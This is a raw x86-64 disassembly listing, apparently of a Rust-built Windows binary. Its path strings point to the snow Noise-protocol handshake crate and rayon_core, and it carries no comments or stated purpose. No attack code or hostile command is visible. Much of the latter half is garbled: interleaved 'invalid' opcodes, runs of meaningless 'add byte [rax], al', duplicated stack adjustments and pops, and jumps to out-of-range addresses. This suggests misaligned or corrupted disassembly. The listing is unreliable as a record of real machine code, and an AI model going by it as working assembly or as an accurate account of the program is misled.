mov rdi, qword [r14 + 0x10]
cmp rdi, qword [r14]
jne 0x14018731b
mov rcx, r14
call fcn.1401803c0
mov r15, qword [r14 + 8]
add r14, 0x10
test rdi, rdi
je 0x140187338
lea rcx, [r15 + 2]
lea r8, [rdi + rdi]
mov rdx, r15
call sub.VCRUNTIME140.dll_memmove
xor r13d, r13d
add r12, 2
mov byte [r15], 3
mov byte [r15 + 1], r13b
inc rdi
mov qword [r14], rdi
add rbx, 0xfffffffffffffffe
jmp 0x1401872a4
mov rax, qword [rbp + 0xe50]
mov rcx, qword [rbp + 0xe58]
mov rdx, qword [rbp + 0xe60]
mov r8, qword [rbp + 0xe68]
mov r9, qword [rbp + 0xe70]
mov r14b, byte [rbp + 0xe78]
mov r15b, byte [rbp + 0xe79]
mov r10, qword [rbp + 0xe7a]
mov qword [rbp + 0xdc8], r10
mov r10, qword [rbp + 0xe80]
mov qword [rbp + 0xdce], r10
movabs r10, 0x8000000000000000
cmp r9, r10
je 0x1401874c4
mov r10, qword [rbp + 0xdc8]
mov r11, qword [rbp + 0xdce]
mov qword [rbp + 0xde8], r11
mov qword [rbp + 0xde2], r10
mov qword [rbp + 0xdf0], rax
mov qword [rbp + 0xdf8], rcx
mov qword [rbp + 0xe00], rdx
mov qword [rbp + 0xe08], r8
mov qword [rbp + 0xdd8], r9
mov byte [rbp + 0xde0], r14b
mov byte [rbp + 0xde1], r15b
lea r14, [rbp + 0x1070]
mov r8d, 0x81
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rax, qword [rbp + 0x1100]
mov qword [r14 - 0x30], rax
mov rax, qword [rbp + 0x10f8]
mov qword [r14 - 0x28], rax
and qword [r14 - 0x20], 0
mov byte [r14 - 0x18], 0
mov rcx, qword [rbp + 0x1018]
mov qword [r14 - 0x10], rcx
mov rax, qword [rbp + 0x1010]
mov qword [r14 - 8], rax
mov r15, qword [rbp + 0xd78]
mov r14, qword [rbp + 0xd80]
call qword [rax + 0x28]
cmp rax, r14
jae 0x140187595
mov rcx, qword [rbp + 0x1018]
mov rax, qword [rbp + 0x1010]
call qword [rax + 0x30]
mov rcx, qword [rbp + 0x1060]
mov rax, qword [rbp + 0x1068]
mov rdx, r15
mov r8, r14
call qword [rax + 0x38]
lea rdx, [rbp + 0x1071]
mov rcx, qword [rdx - 0x11]
mov rax, qword [rdx - 9]
push 0x40
pop r8
call qword [rax + 0x40]
jmp 0x1401875c1
mov r15b, 7
jmp 0x1401874b5
mov r15b, 6
lea rcx, [rbp + 0xe70]
call fcn.14016a0d4
xor r14d, r14d
mov dil, 1
mov byte [rbp + 0x1138], dil
lea rcx, [rbp + 0xc30]
call fcn.140169e88
lea rcx, [rbp + 0xd70]
call fcn.140181f84
mov rcx, qword [rbp + 0xfd0]
mov rdx, qword [rbp + 0xfd8]
mov byte [rbp + 0x1137], dil
call fcn.140038af3
mov rcx, qword [rbp + 0xfe8]
mov rdx, qword [rbp + 0xff0]
mov byte [rbp + 0x1136], dil
call fcn.140038af3
test dil, dil
je 0x14018754c
mov byte [rbp + 0x115f], 0
mov rcx, qword [rbp + 0x1018]
mov rdx, qword [rbp + 0x1010]
call fcn.140038af3
mov rcx, qword [rbp + 0x1100]
mov rdx, qword [rbp + 0x10f8]
call fcn.140038af3
mov byte [rbp + 0x118e], 0
mov al, 1
mov byte [rbp + 0x118d], al
mov byte [rbp + 0x118c], al
mov rcx, qword [rbp + 0x1008]
mov rdx, qword [rbp + 0x1000]
call fcn.140038af3
mov rdi, qword [rbp + 0x1128]
mov byte [rsi + 8], r14b
mov byte [rsi + 9], r15b
movabs rax, 0x8000000000000000
mov qword [rsi], rax
jmp 0x14018603a
lea rcx, [rbp + 0x1071]
lea r12, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_src_symmetricstate.rs
mov rdx, r14
mov r8, r12
call fcn.140189c22
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8, r15
mov r9, r14
call fcn.1401c59a4
lea rcx, [rbp + 0x10b1]
lea r14, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_src_symmetricstate.rs
push 0x40
pop rdx
mov r8, r14
call fcn.140189c22
lea r8, [rbp + 0x1071]
mov qword [rsp + 0x20], r14
push 0x40
pop r9
mov rcx, rax
call fcn.1401c59a4
lea rcx, [rbp + 0x1040]
mov byte [rcx + 0x30], 0
mov rdx, qword [rbp + 0x1120]
mov r8, qword [rbp + 0x1118]
call fcn.140189c39
mov rcx, qword [rbp + 0xfe8]
mov rax, qword [rbp + 0xff0]
call qword [rax + 0x20]
mov rdi, rax
mov r14, qword [rbp + 0xdf0]
mov rax, qword [rbp + 0xdf8]
lea r15, [r14 + rax*2]
lea r12, [rbp + 0xfd0]
lea rbx, [rbp + 0x1040]
lea r13, [rbp + 0xfe8]
cmp r14, r15
je 0x14018768f
movzx ecx, byte [r14]
mov rax, r12
test ecx, ecx
je 0x140187667
cmp ecx, 1
jne 0x1401879c9
mov rax, r13
cmp byte [rax + 0x10], 0
je 0x1401876fd
mov rcx, qword [rax]
mov rax, qword [rax + 8]
call qword [rax + 0x40]
mov r8, rdx
add r14, 2
mov rcx, rbx
mov rdx, rax
call fcn.140189c39
jmp 0x14018764b
mov r15, qword [rbp + 0xe00]
mov rax, qword [rbp + 0xe08]
lea r12, [r15 + rax*2]
lea r13, [rbp + 0xcf0]
lea rbx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
lea r14, [rbp + 0x1040]
cmp r15, r12
je 0x140187722
movzx eax, byte [r15]
mov rcx, r13
test eax, eax
je 0x1401876d6
cmp eax, 1
jne 0x1401879e1
lea rcx, [rbp + 0xcb7]
cmp byte [rcx], 0
je 0x1401876fd
inc rcx
mov rdx, rdi
mov r8, rbx
call fcn.140189cc5
mov r8, rdx
add r15, 2
mov rcx, r14
mov rdx, rax
call fcn.140189c39
jmp 0x1401876b6
lea rcx, [rbp + 0x1040]
call fcn.140169e88
lea rcx, [rbp + 0xdd8]
call fcn.14016a0d4
mov r14b, 3
xor r15d, r15d
xor edi, edi
jmp 0x1401874c7
lea rdi, [rbp + 0xece]
lea rdx, [rbp + 0x1040]
mov r8d, 0xb8
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0xfe8]
movups xmmword [rdi - 0x30], xmm0
mov rax, qword [rbp + 0xff8]
mov qword [rdi - 0x20], rax
movups xmm0, xmmword [rbp + 0xfd0]
movups xmmword [rdi - 0x18], xmm0
mov rax, qword [rbp + 0xfe0]
mov qword [rdi - 8], rax
movups xmm0, xmmword [rbp + 0xdd8]
movups xmmword [rdi - 0x48], xmm0
mov rax, qword [rbp + 0xde8]
mov qword [rdi - 0x38], rax
movaps xmm0, xmmword [rbp + 0xc30]
movaps xmm1, xmmword [rbp + 0xc40]
movaps xmm2, xmmword [rbp + 0xc50]
movaps xmm3, xmmword [rbp + 0xc60]
movups xmmword [rdi + 0xb8], xmm0
movups xmmword [rdi + 0xc8], xmm1
movups xmmword [rdi + 0xd8], xmm2
movups xmmword [rdi + 0xe8], xmm3
mov r12, qword [rbp + 0xd70]
mov r14b, byte [rbp + 0xd78]
mov r15b, byte [rbp + 0xd79]
movups xmm0, xmmword [rbp + 0xd7a]
movaps xmmword [rdi - 0x7e], xmm0
movups xmm0, xmmword [rbp + 0xd8a]
movaps xmmword [rdi - 0x6e], xmm0
movups xmm0, xmmword [rbp + 0xd9a]
movaps xmmword [rdi - 0x5e], xmm0
mov rax, qword [rbp + 0xda8]
mov qword [rdi - 0x50], rax
lea rcx, [rbp - 0x58]
lea rdx, [rbp + 0x714]
mov r8d, 0x14a
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x59c]
lea rdx, [rbp + 0xe50]
mov r8d, 0x176
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0xcb7]
movups xmm1, xmmword [rbp + 0xcc7]
movups xmm2, xmmword [rbp + 0xcd7]
movups xmm3, xmmword [rbp + 0xce0]
movaps xmmword [rbp + 0xbf0], xmm0
movaps xmmword [rbp + 0xc00], xmm1
movaps xmmword [rbp + 0xc10], xmm2
movups xmmword [rbp + 0xc19], xmm3
movabs rax, 0x8000000000000000
cmp r12, rax
je 0x140187574
lea rdi, [rbp + 0x102]
lea rdx, [rbp + 0x59c]
mov r8d, 0x176
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp + 0x290]
lea rdx, [rbp - 0x58]
mov r8d, 0x14a
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rbp + 0xbf0]
movaps xmm1, xmmword [rbp + 0xc00]
movaps xmm2, xmmword [rbp + 0xc10]
movups xmmword [rbx + 0x14b], xmm0
movups xmmword [rbx + 0x15b], xmm1
movups xmmword [rbx + 0x16b], xmm2
movups xmm0, xmmword [rbp + 0xc19]
movups xmmword [rbx + 0x174], xmm0
movaps xmm0, xmmword [rbp + 0xcf0]
movaps xmm1, xmmword [rbp + 0xd00]
movaps xmm2, xmmword [rbp + 0xd10]
movups xmmword [rbx + 0x184], xmm0
movups xmmword [rbx + 0x194], xmm1
movups xmmword [rbx + 0x1a4], xmm2
movups xmm0, xmmword [rbp + 0xd19]
movups xmmword [rbx + 0x1ad], xmm0
and qword [rbx - 8], 0
cmp qword [rbp + 0xd68], 0
mov qword [rdi - 0xa], r12
mov byte [rdi - 2], r14b
mov byte [rdi - 1], r15b
mov rax, qword [rbp + 0x1008]
mov qword [rbx - 0x18], rax
mov rax, qword [rbp + 0x1000]
mov qword [rbx - 0x10], rax
setne byte [rbx + 0x14a]
mov word [rbx + 0x1bd], 0x101
mov rax, qword [rbp + 0x1128]
mov rcx, qword [rax + 0x40]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x1120], rcx
mov qword [rbp + 0x1118], rax
call qword [rax]
mov rcx, qword [rbp + 0x1120]
mov rdx, qword [rbp + 0x1118]
call fcn.14001cb0d
lea rdx, [rbp + 0xf8]
mov r8d, 0x358
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140186047
mov al, 1
mov byte [rbp + 0x118e], al
mov byte [rbp + 0x118d], al
mov byte [rbp + 0x118c], 0
lea r8, [0x14025e8f8]
push 0xa
pop rdx
call fcn.1401c6eb0
jmp 0x1401879f7
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
push 0x28
pop rdx
call fcn.1401c6f30
jmp 0x1401879f7
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
push 0x28
pop rdx
call fcn.1401c6f30
ud2
pop rbp
pop r14
pop r15
pop rbp
ret
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov bl, byte [rbp + 0x118d]
add byte [rax], al
add byte [rax], al
mov sil, byte [rbp + 0x118e]
cmp byte [rbp + 0x118c], 0
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
je 0x140189339
mov byte [rbp + 0x1162], sil
mov byte [rbp + 0x1161], bl
mov byte [rbp + 0x1160], 0
add byte [rax], al
add byte [rax + 0x11619d], cl
add dh, al
test dword [rax + 0x11], esp
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 0x1028]
mov rdx, qword [rbp + 0x1020]
call fcn.140038af3
mov byte [rbp + 0x1162], sil
mov byte [rbp + 0x1162], dh
mov byte [rbp + 0x1162], dh
mov byte [rbp + 0x1161], bl
mov byte [rbp + 0x1160], 0
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov bl, byte [rbp + 0x1160]
mov sil, byte [rbp + 0x1161]
cmp byte [rbp + 0x1162], 0
jne 0x1401893d6
mov byte [rbp + 0x1167], 1
xor eax, eax
mov byte [rbp + 0x1166], al
mov byte [rbp + 0x1165], sil
mov byte [rbp + 0x1164], al
mov byte [rbp + 0x1163], bl
adc dword [rax], eax
add byte [rax - 0x7d], cl
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
adc dword [rax], eax
add byte [rax - 0x7d], cl
invalid
mov rcx, qword [rbp + 0x1110]
mov rdx, qword [rbp + 0x1108]
call fcn.140038af3
xor eax, eax
mov byte [rbp + 0x1167], al
mov byte [rbp + 0x1166], 1
mov byte [rbp + 0x1165], sil
mov byte [rbp + 0x1164], al
mov byte [rbp + 0x1163], bl
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rcx], edx
add byte [rax], al
mov byte [rbp + 0x1188], bl
mov byte [rbp + 0x1187], sil
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
adc dword [rax], eax
add byte [rax - 0x7d], cl
invalid
adc dword [rax], eax
add byte [rax - 0x75], cl
xchg ebp, eax
clc
adc byte [rax], al
add al, ch
xchg ecx, eax
cmc
invalid
add byte [rax], al
mov byte [rbp + 0x1169], sil
mov byte [rbp + 0x1168], bl
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ch, 0x70
adc dword [rax], eax
add byte [rax + 0x116f9d], cl
add byte [rax - 0x7d], cl
invalid
pop r15
pop rbp
ret
mov ch, 0x80
adc dword [rax], eax
add byte [rax - 0x76], al
mov ebp, 0x1181
cmp byte [rbp + 0x117e], 0
je 0x1401898f8
mov rcx, qword [rbp + 0x1100]
mov rdx, qword [rbp + 0x10f8]
call fcn.140038af3
inc dword [rax - 0x78]
mov ebp, 0x1184
inc dword [rax - 0x78]
mov ebp, 0x1184
mov byte [rbp + 0x1183], sil
mov byte [rbp + 0x1182], bl
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
adc dword [rax], eax
add byte [rax + 0x11829d], cl
add byte [rax - 0x7d], cl
invalid
mov byte [rbp + 0x1184], dil
mov byte [rbp + 0x1183], sil
add byte [rax + 0x11829d], cl
add byte [rax - 0x7d], cl
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
add byte [rax + 0x11829d], cl
add byte [rax - 0x7d], cl
invalid
pop r14
pop r15
pop rbp
ret
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov bl, byte [rbp + 0x1183]
add byte [rax - 0x76], al
mov ch, 0x84
adc dword [rax], eax
add byte [rax + 0x1182bd], al
invalid
adc dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x76], al
mov ch, 0x84
adc dword [rax], eax
add byte [rax + 0x1182bd], al
invalid
adc dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rsi + 0x48], dh
mov ecx, dword [rbp + 0x1008]
je 0x140189980
mov rcx, qword [rbp + 0x1008]
mov rdx, qword [rbp + 0x1000]
call fcn.140038af3
mov byte [rbp + 0x1186], sil
mov byte [rbp + 0x1185], bl
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
invalid
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x1186], sil
mov byte [rbp + 0x1185], bl
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rdx + 0x11859d], cl
add byte [rax], al
add byte [rax], al
cmp byte [rbp + 0x1186], 0
jne case.0x1401525ca.376
test bl, bl
jne 0x1401899ec
invalid
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 0x1128]
add byte [rax], al
call fcn.140181f84
jmp 0x1401899c9
invalid
mov rax, qword [rbp + 0x1128]
add byte [rax], al
mov rcx, qword [rax + 0x40]
mov rdx, qword [rax + 0x48]
call fcn.140038af3
jmp 0x1401899cd
retf
retf
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea esp, [rax]
adc dword [rax], eax
add byte [rax - 0x75], cl
xchg ebp, eax
lea ebp, [rdx + 0x80]
mov rcx, qword [rbp + 0x1120]
mov rdx, qword [rbp + 0x1118]
sbb byte [rcx], dl
add byte [rax], al
sbb byte [rcx], dl
add byte [rax], al
call fcn.140038af3
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
mov bl, 1
mov byte [rbp + 0x118b], bl
add byte [rax + 0x118a9d], cl
invalid
adc dword [rax], eax
add byte [rax + 0x118a9d], cl
add byte [rax + 0x11899d], cl
mov byte [rbp + 0x1189], bl
invalid
popfq
mov byte [rcx], dl
adc dword [rax], eax
mov byte [rbp + 0x1189], bl
mov byte [rbp + 0x1188], bl
adc dword [rax], eax
add byte [rax + 0x11879d], cl
add byte [rax - 0x75], cl
lea edi, [rax]
adc byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rbp + 0x1030]
adc dword [rax], eax
add byte [rax + 0x11879d], cl
adc dword [rax], eax
add byte [rax - 0x75], cl
lea edi, [rax]
adc byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rbp + 0x1030]
call fcn.140038af3
mov byte [rbp + 0x118b], bl
mov byte [rbp + 0x118a], bl
mov byte [rbp + 0x1189], bl
mov byte [rbp + 0x1188], bl
mov byte [rbp + 0x1187], bl
popfq
xchg dword [rcx], edx
add byte [rax], al
add byte [rax + 0x11879d], cl
add byte [rax - 0x7d], cl
invalid
popfq
xchg dword [rcx], edx
add byte [rax], al
add rsp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
mov bl, byte [rbp + 0x118f]
adc dword [rax], eax
add byte [rax - 0x73], cl
lea esi, [rax]
or al, 0
add byte [rax], al
adc dword [rax], eax
add byte [rax - 0x73], cl
lea esi, [rax]
or al, 0
add byte [rax], al
invalid
add byte [rax], al
call fcn.140169e88
mov byte [rbp + 0x1138], bl
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cdq
add edi, esi
dec dword [rax + 0x11389d]
add byte [rax - 0x7d], cl
invalid
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov bl, byte [rbp + 0x1138]
add byte [rax - 0x73], cl
lea esi, [rax + 0xd]
add byte [rax], al
add byte [rax - 0x73], cl
lea esi, [rax + 0xd]
add byte [rax], al
call fcn.140181f84
mov rcx, qword [rbp + 0xfd0]
mov rdx, qword [rbp + 0xfd8]
call fcn.140038af3
mov byte [rbp + 0x1137], bl
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0x11379d], cl
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov bl, byte [rbp + 0x1137]
mov rcx, qword [rbp + 0xfe8]
mov ecx, dword [rbp + 0xfe8]
mov ecx, dword [rbp + 0xfe8]
mov rdx, qword [rbp + 0xff0]
call fcn.140038af3
mov byte [rbp + 0x1136], bl
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x1120]
mov ecx, dword [rbp + 0x1120]
mov ecx, dword [rbp + 0x1120]
mov rdx, qword [rbp + 0x1118]
call fcn.14001cb0d
jmp 0xcda5e4db
clc
add byte [rax], al
add al, ch
invalid
add dword [rax], eax
add byte [rcx], dh
ror byte [rax + 0x118e85], 0
jmp 0xcda5e4db
mov byte [rbp + 0x118d], al
mov byte [rbp + 0x118c], 1
adc dword [rax], eax
add byte [rcx], al
test dword [rbp - 0x39ffffef], ecx
test dword [rcx + rdx + 0x48010000], ecx
adc dword [rax], eax
add byte [rcx], al
add rsp, 0x28
adc dword [rax], eax
add byte [rcx], al
add byte [rax], al
add dword [rax - 0x7d], ecx
invalid
invalid
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid